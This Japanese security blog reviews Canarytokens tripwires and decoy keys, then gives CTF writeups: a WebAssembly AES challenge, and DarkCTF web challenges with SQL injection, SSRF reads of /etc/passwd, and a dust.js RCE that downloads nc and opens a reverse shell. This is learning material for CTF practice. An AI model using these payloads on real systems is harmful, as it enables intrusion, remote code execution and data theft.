こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

Canarytokensサービスを試してみた

ある調べものをしていたところ、Canarytokensというサービスがあることを知った。

canarytokens.org

Canarytokensはカナリアトークンを生成するサービスであり、無料で利用できるほか、githubソースコードやDockerfileが公開されているため自分でサービス稼働環境を構築できる。カナリアトークンとはターゲット(被害者)がWebページ、電子メール、ファイルなどのリソースにアクセスする操作をしたときに、そのアクセスした事実やターゲットの環境情報(IPアドレス、UserAgent、ユーザ名など)を攻撃者に通知するための仕掛けである。

このサービスを知った時は、アクセス解析で使われるようなWebページに極小の透明画像やiframeを埋め込むような方式を想像したが、ドキュメントを読んでいると他にも様々な方式をサポートしていることがわかった。そこで、実際にどういった仕掛けで、どういった情報が記録されるのか試してみることにした。

なお、なぜカナリアというかは、昔の炭鉱でガス発見の警報装置としてカナリアが使われていたことに由来していると思われる。
ja.wikipedia.org

ここから各方式の紹介に入るが、全ての方式に共通して、ターゲットがカナリアトークンに引っかかった時の通知先としてEメールアドレスを指定できる。今回は、以下の使い捨てのメールアドレス発行サービスを使用した。
✉ Guerrilla Mail - Disposable Temporary E-Mail Address

Web bug / URL token

URLが生成される。

f:id:graneed:20210224233209p:plain

f:id:graneed:20210224233228p:plain

生成されたURLにアクセスすると真っ白な画面が表示される。 HTMLソースを確認すると、ブラウザ情報を記録するようなフィンガープリント機能を持つJavaScriptが実装されていることを確認できる。

URLへアクセス後に以下の通知メールを受信した。
f:id:graneed:20210224233712p:plain

また、カナリアトークンごとにHistoryページが提供され、そこではもっと詳細な記録情報を閲覧できる。
f:id:graneed:20210224234011p:plain

DNS token

canarytokens.comのサブドメインが生成される。
サブドメインnslookupコマンドで問合せすると以下の情報が記録された。
f:id:graneed:20210225000024p:plain

Unique email address

Eメールアドレスが生成される。
メール送信すると、以下の情報が記録された。
f:id:graneed:20210225224509p:plain

Custom Image Web bug

画像をアップロードすると、URLが生成される。
imgタグ等でアクセスすると、アップロードした画像が表示され、アクセスした際に情報が記録される。
記録される情報は接続元IPアドレスとUserAgent。

見つからないようにするには、1px×1pxの透明画像を使用すると良いのだと思う。 最初に自分が想像していたカナリアトークンに一番近い。

Microsoft Word Document

Wordファイルが生成される。
開いても特にマクロは埋まっていない。ただ、ヘッダーとフッターが設定されているように見える。 f:id:graneed:20210225003453p:plain

WordファイルをZipファイルとして展開すると、footer2.xmlINCLUDEPICTURE "http://canarytokens.com/about/traffic/articles/whb0ezqg0ahskmqdwjjndemyg/contact.php"が埋め込まれており、HTTPリクエストが飛んだようだ。

記録される情報は接続元IPアドレスとUserAgent。
自分の環境ではUserAgentはMozilla/4.0 (compatible; ms-office; MSOffice 16)となった。

機密ファイルが社外で開かれていないかを確認するために使用できそうだ。

Acrobat Reader PDF Document

PDFファイルが生成される。
Acrbat Readerで開くと以下の警告ダイアログが表示される。
f:id:graneed:20210225005240p:plain

「許可」するとWebブラウザが立ち上がり、URLへのアクセスが発生した。 ただ、HTTPではなくDNSへのアクセスを見ているようで、記録される情報は接続元IPアドレス程度であった。

警告ダイアログが表示されてしまうと、ターゲットに気付かれないようにするのは少々厳しい。

Windows Folder

個人的に一番驚いた手法。
Zipファイルが生成され、Zipファイルを展開するとMy Documentsというフォルダが展開される。 My Documentsフォルダを開くと、エクスプローラーが固まるためしばらく待つと、フォルダの中にdesktop.iniファイルが確認できる。 desktop.iniの中身は以下のとおり。

[.ShellClassInfo]
IconResource=\\%USERNAME%.%COMPUTERNAME%.%USERDOMAIN%.INI.jomvcu020919h7fvr2k2er61h.canarytokens.com\resource.dll

フォルダをエクスプローラーで開くだけでDNS通信が発生していたようで、結果、以下の情報が記録された。
f:id:graneed:20210225010738p:plain

これもまた、機密のzipファイルが社外で開かれていないかを確認するために使用できそうだ。

Custom exe / binary

EXEファイルをアップロードすると、カナリアトークンが埋め込まれたEXEファイルが生成される。 ここでは7zのインストール用のEXEファイルで試すことにした。
f:id:graneed:20210225011116p:plain

面白いことに、生成されたEXEファイルをダウンロードすると同時に以下の情報が記録された。 f:id:graneed:20210225011640p:plain

Microsoft Defenderの仕業かな」と思って設定を確認したところ「サンプルの自動送信」がオンになっていた。 f:id:graneed:20210225012006p:plain

設定をオフにしてから再度EXEファイルを生成すると、ダウンロードすると同時に記録されることは無くなったため予想通り。サンプルの自動送信をすると、Microsoftサンドボックス環境みたいなところで実行されるのだろうか。

自分でEXEファイルを実行すると、以下の情報が記録された。思ったより情報量は少ない。
f:id:graneed:20210225012652p:plain

ターゲットにEXEを実行させる障壁が高そうだ。 そして折角EXEを実行させられるのであれば、もっと色々なことができそうだ。

Cloned Website

以下のようなJavaScriptが生成される。

if (document.domain != "https://example.com") {
    var l = location.href;
    var r = document.referrer;
    var m = new Image();
    m.src = "http://canarytokens.com/"+
            "fqcm9lekdo4ibfoh33ivslg05.jpg?l="+
            encodeURI(l) + "&r=" + encodeURI(r);
}

自分が管理しているWebサイトにこのJavaScriptを埋め込んでおくと、自分のWebサイトをクローンされて、そこに誰かがアクセスした際に、クローン先のサイトのURLの通知をうけることができるようだ。

サイトの運用者側で、フィッシングサイトを見つけるのに役立ちそうだ。

SQL Server

カナリアトークンの生成画面は以下のとおり。 通知のトリガーとなるDML操作とテーブルを指定できる。 f:id:graneed:20210225013311p:plain

実行すると以下のようなSQLが生成される。

--create a stored proc that'll ping canarytokens
      CREATE proc ping_canarytoken
      AS
      BEGIN
          declare @username varchar(max), @base64 varchar(max), @tokendomain varchar(128), @unc varchar(128), @size int, @done int, @random varchar(3);

          --setup the variables
          set @tokendomain = 'h3q9kuxguigeeyscumxvia9s1.canarytokens.com';
          set @size = 128;
          set @done = 0;
          set @random = cast(round(rand()*100,0) as varchar(2));
          set @random = concat(@random, '.');
          set @username = SUSER_SNAME();

          --loop runs until the UNC path is 128 chars or less
          while @done <= 0
          begin
              --convert username into base64
              select @base64 = (SELECT
                  CAST(N'' AS XML).value(
                        'xs:base64Binary(xs:hexBinary(sql:column("bin")))'
                      , 'VARCHAR(MAX)'
                  )   Base64Encoding
              FROM (
                  SELECT CAST(@username AS VARBINARY(MAX)) AS bin
              ) AS bin_sql_server_temp);

              --replace base64 padding as dns will choke on =
              select @base64 = replace(@base64,'=','-')

              --construct the UNC path
              select @unc = concat('\\',@base64,'.',@random,@tokendomain,'\a')

              -- if too big, trim the username and try again
              if len(@unc) <= @size
                  set @done = 1
              else
                  --trim from the front, to keep the username and lose domain details
                  select @username = substring(@username, 2, len(@username)-1)
          end
          exec master.dbo.xp_fileexist @unc;
      END

      --add a trigger if data is altered
      CREATE TRIGGER TRIGGER1
        ON TABLE1
        AFTER INSERT
      AS
      BEGIN
      exec ping_canarytoken
      end

環境を作って試すところまでできていないが、SQL文を見ると、SUSER_SNAME()関数を実行してWindowsのユーザ名を取得し、サブドメイン名として送信しているようだ。

攻撃者の興味を引くようなテーブルを用意して、データベースの中身が窃取されていないかを確認するために使用できそうだ。

QR Code

その名のとおり、QRコードが生成される。
f:id:graneed:20210225013725p:plain

QRコードには以下のようなURLが埋め込まれている。 http://canarytokens.com/feedback/traffic/tags/iuixoweag4nucmn1vo76jk0mv/submit.aspx

アクセスすると記録される情報は接続元IPアドレスとUserAgent。

SVN

以下のコマンドが生成される。

svn propset svn:externals "extras http://dvztaffuww7mzjfe7tw0p75e9.canarytokens.com" .

自分が管理しているリポジトリにこのコマンドを実行することで、誰がか勝手にリポジトリをクローンしたことに気付けるようだ。

AWS keys

実行すると以下のAWSのアクセスキーが生成される。

[default]
aws_access_key_id = AKIAXYZDQCENVA3R6Y7J
aws_secret_access_key = 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
output = json
region = us-east-2

AWS CLIで使用してみる。

root@kali:~# aws configure --profile canary
AWS Access Key ID [None]: AKIAXYZDQCENVA3R6Y7J
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-2
Default output format [None]: json

root@kali:~# aws s3 ls --profile canary

An error occurred (AccessDenied) when calling the ListBuckets operation: Access Denied

20分程度待つと以下の情報が記録された。 f:id:graneed:20210225015750p:plain

Fast Redirect

Web bug / URL tokenと似ているが、URLを生成する際にリダイレクト先のURLの指定ができる。
生成されたURLへアクセスすると、指定したURLにリダイレクトされる。
記録される情報は接続元IPアドレスとUserAgent。

Slow Redirect

Fast Redirectと同様に、URLを生成する際にリダイレクト先のURLの指定ができる。
記録される情報はWeb bug / URL tokenと同じで、接続元IPアドレスとUserAgentに加え、ブラウザ情報なども含まれる。

Slack API key

実行すると以下のSlackのAPIキーが生成される。

# Slack API key
slack_api_key = xoxp-905439787527-905447633015-1784132156549-acecf32171dd971f2ee2561cd0bd0eae

curlコマンドでAPIを実行してみる。

root@kali:~# curl 'https://slack.com/api/auth.test' \
> -d 'token=xoxp-905439787527-905447633015-1784132156549-acecf32171dd971f2ee2561cd0bd0eae'
{"ok":true,"url":"https:\/\/ctorgworkspace.slack.com\/","team":"ct.org","user":"marge.haskell.bridge","team_id":"TSMCXP5FH","user_id":"USMD5JM0F","is_enterprise_install":false}

10分程度待つと以下の情報が記録された。 f:id:graneed:20210225020148p:plain

まとめ

カナリアトークンの使い道としては、生成したURL等を何らかの媒体でばら撒いてハニーポットとして使うほか、機密ファイルの漏洩有無の確認、Webサイトのクローン先のサイトの検出など、多岐にわたる。こちらのサービスと方式のパターンを知っておくと、どこかで役に立ちそうである。実際に何か目的があって使う場合は、自分で環境を立てる方がよさそうだ。

UTCTF 2020 writeup - Wasm Fans Only

某CTFチームのAdvent Calendar 2020向けの記事です。

例年のごとく年末の締めくくりとして今年開催のWeb系のWriteupを読み漁っていたところ、WebAssemblyの問題にいくつか遭遇した。WebAssemblyは比較的Rev問に近く苦手意識があるものの解けるようになりたいと思っていた。そんな折にChromeのWebAssemblyのデバッグ機能が強化された記事を見かけた。

developers.google.com

これで少し手が出しやすくなってきた気がしたので、今年の過去問をサンプルに解いてみることにした。

問題

UTCTF 2020のWASM Fans Onlyを解く。

この大会は2020年3月開催であったにもかかわらず、嬉しいことにまだ問題サーバが生きている。
問題サーバはこちら。
https://wasmfans.ga/

また、githubに問題ファイルが公開されているのも嬉しい。
元のCのソースコードも公開されており、答え合わせをしながら解析できるため、初心者にピッタリ。
github.com

またWriteupもあるのも嬉しい。
https://ctftime.org/writeup/18640

なお、後のネタバレになってしまうが、実は問題サーバのホスト名(wasmfans.ga)がキーになっているため、もし上記のgithubリポジトリから落としてきて自分のサーバで試したい場合は、wasmfans.gaのホスト名で自サーバにアクセスできるよう/etc/hostsやC:\Windows\System32\drivers\etc\hostsを設定すること。

Writeup

HTML/JavaScript解析

まずURLにアクセスすると以下の画面が表示される。
f:id:graneed:20201221232702p:plain

UsernameとPasswordを適当に入力してLog inボタンを押下するとTry again!。
なおPasswordの項目IDはflagである。
f:id:graneed:20201221233402p:plain

Log inボタンを押下するとページ内のcheckFlag関数を呼び、checkFlag関数はModule._verify_flag();を呼んでいる。
f:id:graneed:20201221233058p:plain

_verify_flagverifyFlag.jsファイルに定義されており、更にWebAssemblyのverify_flag関数を呼んでいる。 f:id:graneed:20201221233147p:plain

早速ここからWebAssemblyの世界へ突入するが、その前にもう少しverifyFlag.jsファイルを見てみる。

verifyFlag.jsは非常に大きいファイルで正直わけわからん状態であるが、エラーメッセージの「Try again!」で検索すると、意味がわかるロジックが見つかる。これら3つの関数はWebAssemblyから呼ばれる関数なので覚えておく。 f:id:graneed:20201221233726p:plain

wasmのざっくり静的解析

verifyFlag.wasmファイルをverify_flagで検索するとすぐに関数が見つかる。
ザっと目につく処理を書き出してみる。

  1. 0x01826~0x018e8
    変数の宣言と初期化?

  2. 0x018ec~0x01985
    ループ処理で何かを55とXORしている
    f:id:graneed:20201221235418p:plain

  3. 0x019ac
    $env.getStringをcallしている
    f:id:graneed:20201221234925p:plain

  4. 0x019b8~0x01a23
    変数の宣言と初期化?

  5. 0x01a26~0x1abc
    ループ処理で何かの変数を96とXORしている
    f:id:graneed:20201221235443p:plain

  6. 0x01ae3
    $env.getStringをcallしている
    f:id:graneed:20201221235535p:plain

  7. 0x01b26~0x01bf3 変数の宣言と移送か何かをしている

  8. 0x01c3e~0x01de0

    • $func23を呼んでから巨大な処理ブロック内へ。
    • $func23の返り値が0の場合は$label6を抜けて$env.loseを呼ぶ。その後$label9を抜けて終了。→NG
    • $func23の返り値が0でない場合は$aes_encrypt_blockを呼ぶ。その後ループ内で何らかの配列を1文字ずつ比較。
      • 一致しない場合は$env.loseを呼ぶ。→NG
      • ループを抜けた=全ての変数が一致したら$env.winを呼ぶ。→OK
    • $func23の解説は省略。フラグ文字列の文字数とprefixとsuffixのチェックである。

8のうち、ポイントとなる処理だけ残して以下に転記した。

    call $func23
    local.set $var121
    block $label9
      block $label6
        local.get $var121
        i32.eqz
        br_if $label6
        (snip)
        local.get $var133
        local.get $var128
        local.get $var125
        call $aes_encrypt_block
        local.get $var2
        local.get $var122
        i32.store offset=12
        block $label7
          loop $label10
            i32.const 16
            (snip)
            local.get $var159
            local.get $var160
            i32.and
            local.set $var161
            block $label8
              local.get $var161
              i32.eqz
              br_if $label8
              call $env.lose
              br $label9
            end $label8
            (snip)
          end $label10
          unreachable
        end $label7
        local.get $var2
        i32.load offset=136
        local.set $var165
        local.get $var165
        call $env.win
        br $label9
      end $label6
      call $env.lose
    end $label9

何となく処理の流れは掴めたので、あとはChromeのDebuggerで変数の値を確認しながら実際に動かしてみる。

wasmの動的解析

※この解析には冒頭で紹介したChromeのWebAssemblyのデバッグ機能を使いたいためChromeのCanary版を使用している。(2020/12/22現在)

verify_flagの先頭にブレイクポイントを設定し、usernameにaaaaaaaaaaaaaaaa、Passwordにbbbbbbbbbbbbbbbbを入力して実行する。
f:id:graneed:20201222004404p:plain

そして、Chromeの新機能を発動するべく右側のペインのenv.memoryで右クリックしてInspect memoryを選択する。
f:id:graneed:20201222004505p:plain

下側のペインにメモリの状態が表示された!ASCII表示もあるぞ!
これまで右側のペインで縦に並んだ変数1つずつしか見れなかったのに、これは嬉しい。
f:id:graneed:20201222004558p:plain

また、変数にカーソル当てると、変数の中がホバーで表示されるようになった!
「え、今までそうじゃなかったの?」と疑問に思う人がいるかもしれないが、2020/12/22現在の安定板のChromeではできない。
f:id:graneed:20201222005231p:plain

このホバーで表示された変数をコピーし、先ほどのメモリインスペクタのアドレス欄に貼り付ける。 (10進数を貼り付けると、自動的に16進数に変換してくれる。) すると、何かのバイトデータが格納されていることがわかる。読める、読めるぞ。
f:id:graneed:20201222005635p:plain

上図は最初の変数の初期化が終わるあたりまで処理を進めた後の状態であるが、次に55とXORをとっているループ処理を何周か進めてみると、JavaScriptのDOMへのアクセスっぽい文字列が出てきた。
f:id:graneed:20201222010230p:plain

ループを最後まで進めると、HTMLのflag項目(Passwordのテキストボックスに入力した文字列)を取得するためのJavaScript呼出し文字列であるdocument.getElementById("flag").valueが出現した。
f:id:graneed:20201222010413p:plain

そして、その次の$env.getStringにこのJavaScript文字列を渡し、Passwordに入力した文字列を取得しメモリに格納された。
f:id:graneed:20201222010947p:plain

同じように次の$env.getStringまで処理を進めると、window.location.hostnameの文字列を渡してホスト名wasmfans.gaをメモリに格納していることを確認できた。
f:id:graneed:20201222011240p:plain

$func23まで進めると、返り値0が返ってきてそのままlose処理へ。

$func23を突破するため、24文字かつprefixがutflag{、suffixが}の条件を満たす文字列をPassword項目に入力してリトライ。
f:id:graneed:20201222012546p:plain

無事に突破して$aes_encrypt_blockの呼出しまで進め、渡している変数を確認する。
ここでも変数のホバー表示とメモリインスペクションが活躍する。
f:id:graneed:20201222012639p:plain

渡している3つの変数は以下のとおり。

  • Password項目に入力したutflag{AAAAAAAAAAAAAAAA}のA×16文字の部分。
    f:id:graneed:20201222013051p:plain
  • いつの間にかメモリに格納されていたnasmfans.gaという文字列。どうやら静的解析の7の処理で生成していたようだ。AESの鍵にあたる。
    f:id:graneed:20201222013028p:plain
  • 0x00。たぶんAESのIV。
    f:id:graneed:20201222013137p:plain

そろそろゴールは近い。

入力文字列をAES暗号化したデータとどのデータと比較しているかだが、ステップ実行しながら変数とメモリインスペクションを確認していくと、以下のバイトデータと比較していそうなことがわかる。 f:id:graneed:20201222013652p:plain

残念ながらメモリインスペクションからコピペができないため、手動で書き出す。
0f ae f8 59 84 b1 28 67 28 18 88 17 64 d3 25 2a

あとはAES復号するだけ。

from Crypto.Cipher import AES

encrypted = [0x0f, 0xae, 0xf8, 0x59, 0x84, 0xb1, 0x28, 0x67, 0x28, 0x18, 0x88, 0x17, 0x64, 0xd3, 0x25, 0x2a]
key = []

for c in 'nasmfans.ga':
    key.append(ord(c))
while len(key) != 16:
    key.append(0)

cipher = AES.new(bytes(key), AES.MODE_ECB)
print(cipher.decrypt(bytes(encrypted)))

実行する。

root@kali:/mnt/hgfs/CTF/Contest/wasm# python3 solve.py
b'fPRv38aICAz31Ix7'

フラグ文字列感は無いが、試しに画面入力してみる。prefixとsuffixは忘れずに。

f:id:graneed:20201222020602p:plain

初めてのWebAssembly問ということで、元のCのソースやWriteupがあるにもかかわらず時間をかけたが、おかげで多少慣れた。直近のChromeデバッグ機能追加が無ければ心が折れたかもしれない。今後の機能強化も期待したい。

DarkCTF Writeup

仕事や資格試験や夜泣き対応でCTFどころではない状態であったが、それらが同時に落ち着いてきたので久しぶりのCTF。 本ブログにも「この広告は、90日以上更新していないブログに表示しています。」と表示されており、少しあせらされた。

今週末は多数のCTFが開催されていたが、チームメンバーが既に解き始めていたことと、20位まで商品が出ることから、DarkCTFに注力した。 結果は16位で、Digital Oceanの$100 cloud creditsを頂けるようだ。

自分が解いた問題から、いくつかWriteupを書く。

Agent-U

HTMLソース内のコメントにadmin/adminでログインするよう指示がある。ログインすると自分のUserAgentが表示される。

UserAgentに'を入力するとMySQLのエラーメッセージが表示されるため、SQL Injectionができそう。 ただ、Insert文を実行しているようで、単純な方法では情報が抜き出せない。

以下を参考にして試す。
https://www.exploit-db.com/docs/33253

# curl http://agent.darkarmy.xyz/ -d "uname=admin&passwd=admin&submit=Submit" -A "' or updatexml(1,concat(0x7e,(version())),0) or '"
<!DOCTYPE html>
<html>
<head>
<title>Agent U</title>
</head>

<body>

<center><font color=red><h1>Welcome Players To MY Safe House</h1></font></center> <br><br><br>

<form action="" name="form1" method="post">
<center>
<font color=yellow> Username : </font><input type="text"  name="uname" value=""/>  <br> <br>

<font color=yellow> Password : </font> <input type="text" name="passwd" value=""/></br> <br>
<input type="submit" name="submit" value="Submit" />
</center></form>
<font size="3" color="#FFFF00">

        <br><!-- TRY DEFAULT LOGIN admin:admin --> <br>




<br>Your IP ADDRESS is: 162.158.119.79<br><font color= "#FFFF00" font size = 3 ></font><font color= "#0000ff" font size = 3 >Your User Agent is: ' or updatexml(1,concat(0x7e,(version())),0) or '</font><br>XPATH syntax error: '~5.7.31'<br><br><img src="vibes.png"  /><br>

</font>
</div>
</body>
</html>

XPATH syntax error: '~5.7.31'というように、version()の実行結果が返ってきた。

ここからDB内のテーブルを見ていたがフラグが見つからない。 問題文を見なおすと、flag format darkCTF{databasename}と記載があった。アッ,ハイ...

# curl http://agent.darkarmy.xyz/ -d "uname=admin&passwd=admin&submit=Submit" -A "' or updatexml(1,concat(0x7e,databasename()),0) or '"
(snip)
<br>Your IP ADDRESS is: 162.158.118.44<br><font color= "#FFFF00" font size = 3 ></font><font color= "#0000ff" font size = 3 >Your User Agent is: ' or updatexml(1,concat(0x7e,databasename()),0) or '</font><br>FUNCTION ag3nt_u_1s_v3ry_t3l3nt3d.databasename does not exist<br><br><img src="vibes.png"  /><br>

</font>
</div>
</body>
</html>

フラグ文字列はdarkCTF{ag3nt_u_1s_v3ry_t3l3nt3d}でした。

Dusty Notes

ノートの追加と削除ができるサービス。 パラメータを変更しながら調査していると、特定の制御文字で例外が発生。

# rm /tmp/cookie;curl http://dusty.darkarmy.xyz/addNotes -c /tmp/cookie -b /tmp/cookie -L -G -H "Cookie:note=j:[]" -d "message=%0d"
{"stack":"SyntaxError: Invalid or unexpected token\n    at Object.if (/home/ctf/node_modules/dustjs-helpers/lib/dust-helpers.js:215:15)\n    at Chunk.helper (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:769:34)\n    at body_1 (evalmachine.<anonymous>:1:972)\n    at Chunk.section (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:654:21)\n    at body_0 (evalmachine.<anonymous>:1:847)\n    at /home/ctf/node_modules/dustjs-linkedin/lib/dust.js:122:11\n    at processTicksAndRejections (internal/process/task_queues.js:79:11)","message":"Invalid or unexpected token"}r

最初のrmコマンドと、curlの-c、-b、-Lオプションは、Cookieを維持してリダイレクトさせないといけないための措置。

スタックトレースより、dust.jsを使用していることがわかる。問題タイトルも示唆していた。

既知の脆弱性が無いか調査すると以下の記事がHIT。
artsploit.blogspot.com

  • 配列形式のパラメータにエスケープ処理が適用されないこと
  • ifヘルパーを使用するとevalにそのままパラメータが渡されること

これら2つの問題の組合せで発生したRCEのようだ。 スタックトレースを見ると、Object.ifと出ており後者の条件に合致している可能性がありそうだ。

上記の記事を見ながら、以下のコマンドで自分のサーバにHTTPリクエストを発行させてみる。

# rm /tmp/cookie;curl http://dusty.darkarmy.xyz/addNotes -c /tmp/cookie -b /tmp/cookie -L -G -H "Cookie:note=j:[]" --data-urlencode "message[]='-require('child_process').exec('curl myserver')-'"

アクセスが来たので、RCEが成功したことがわかる。

34.89.46.46 - - [26/Sep/2020:20:21:27 +0000] "GET / HTTP/1.1" 200 225 "-" "curl/7.64.0"

フラグだけ取得してもよいが、せっかくなのでリバースシェルを取る。
ncコマンドをダウンロードさせて、実行権限をつけさせて、自サーバに接続させる。

# rm /tmp/cookie;curl http://dusty.darkarmy.xyz/addNotes -c /tmp/cookie -b /tmp/cookie -L -G -H "Cookie:note=j:[]" --data-urlencode "message[]='-require('child_process').exec('curl myserver/nc -o /tmp/nc')-'"
# rm /tmp/cookie;curl http://dusty.darkarmy.xyz/addNotes -c /tmp/cookie -b /tmp/cookie -L -G -H "Cookie:note=j:[]" --data-urlencode "message[]='-require('child_process').exec('chmod 777 /tmp/nc')-'"
# rm /tmp/cookie;curl http://dusty.darkarmy.xyz/addNotes -c /tmp/cookie -b /tmp/cookie -L -G -H "Cookie:note=j:[]" --data-urlencode "message[]='-require('child_process').exec('/tmp/nc myserver 4444 -e /bin/bash')-'"
root@ip-172-31-6-71:/var/www/html# nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 34.89.46.46 43638 received!
ls
app.js
node_modules
package-lock.json
package.json
public
views
whoami
root
ls -la /
total 76
drwxr-xr-x   1 root root 4096 Sep 26 03:29 .
drwxr-xr-x   1 root root 4096 Sep 26 03:29 ..
-rwxr-xr-x   1 root root    0 Sep 26 03:29 .dockerenv
drwxr-xr-x   2 root root 4096 Sep  8 07:00 bin
drwxr-xr-x   2 root root 4096 Jul 10 21:04 boot
drwxr-xr-x   5 root root  340 Sep 26 03:29 dev
drwxr-xr-x   1 root root 4096 Sep 26 03:29 etc
-rwxr-----   1 root root   38 Sep 26 03:29 flag.txt
drwxr-xr-x   1 root root 4096 Sep 26 03:29 home
drwxr-xr-x   1 root root 4096 Sep 16 15:24 lib
drwxr-xr-x   2 root root 4096 Sep  8 07:00 lib64
drwxr-xr-x   2 root root 4096 Sep  8 07:00 media
drwxr-xr-x   2 root root 4096 Sep  8 07:00 mnt
drwxr-xr-x   1 root root 4096 Sep 16 15:24 opt
dr-xr-xr-x 147 root root    0 Sep 26 03:29 proc
drwx------   1 root root 4096 Sep 26 08:19 root
drwxr-xr-x   3 root root 4096 Sep  8 07:00 run
drwxr-xr-x   2 root root 4096 Sep  8 07:00 sbin
drwxr-xr-x   2 root root 4096 Sep  8 07:00 srv
dr-xr-xr-x  13 root root    0 Sep 26 03:29 sys
drwxrwxrwt   1 root root 4096 Sep 26 20:28 tmp
drwxr-xr-x   1 root root 4096 Sep  8 07:00 usr
drwxr-xr-x   1 root root 4096 Sep  8 07:00 var
cat /flag.txt
darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}

フラグゲット。
darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}

Chain Race

入力したURLにリクエストを発行してレスポンスを表示するサービス。

URLにfile:///etc/passwdを入力すると以下が返却された。

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
localhost8080:x:5:60:darksecret-hiddenhere:/usr/games/another-server:/usr/sbin/nologin

最後の1行のユーザ名にしたがってhttp://localhost:8080/を入力すると以下が返却された。

<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php<br />session_start</span><span style="color: #007700">();<br />include&nbsp;</span><span style="color: #DD0000">'flag.php'</span><span style="color: #007700">;<br /><br /></span><span style="color: #0000BB">$login_1&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">$login_2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br /><br />if(!(isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'user'</span><span style="color: #007700">])&nbsp;&amp;&amp;&nbsp;isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'secret'</span><span style="color: #007700">]))){<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">highlight_file</span><span style="color: #007700">(</span><span style="color: #DD0000">"index.php"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;die();<br />}<br /><br /></span><span style="color: #0000BB">$login_1&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">strcmp</span><span style="color: #007700">(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'user'</span><span style="color: #007700">],&nbsp;</span><span style="color: #DD0000">"admin"</span><span style="color: #007700">)&nbsp;?&nbsp;</span><span style="color: #0000BB">1&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br /><br /></span><span style="color: #0000BB">$temp_name&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">sha1</span><span style="color: #007700">(</span><span style="color: #0000BB">md5</span><span style="color: #007700">(</span><span style="color: #0000BB">date</span><span style="color: #007700">(</span><span style="color: #DD0000">"ms"</span><span style="color: #007700">).@</span><span style="color: #0000BB">$_COOKIE</span><span style="color: #007700">[</span><span style="color: #DD0000">'PHPSESSID'</span><span style="color: #007700">]));<br /></span><span style="color: #0000BB">session_destroy</span><span style="color: #007700">();<br />if&nbsp;((</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'secret'</span><span style="color: #007700">]&nbsp;==&nbsp;</span><span style="color: #DD0000">"0x1337"</span><span style="color: #007700">)&nbsp;||&nbsp;</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'user'</span><span style="color: #007700">]&nbsp;==&nbsp;</span><span style="color: #DD0000">"admin"</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;die(</span><span style="color: #DD0000">"nope"</span><span style="color: #007700">);<br />}<br /><br />if&nbsp;(</span><span style="color: #0000BB">strcasecmp</span><span style="color: #007700">(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'secret'</span><span style="color: #007700">],&nbsp;</span><span style="color: #DD0000">"0x1337"</span><span style="color: #007700">)&nbsp;==&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$login_2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />}<br /><br /></span><span style="color: #0000BB">file_put_contents</span><span style="color: #007700">(</span><span style="color: #0000BB">$temp_name</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"your_fake_flag"</span><span style="color: #007700">);<br /><br />if&nbsp;(</span><span style="color: #0000BB">$login_1&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;</span><span style="color: #0000BB">$login_2</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;if(@</span><span style="color: #0000BB">unlink</span><span style="color: #007700">(</span><span style="color: #0000BB">$temp_name</span><span style="color: 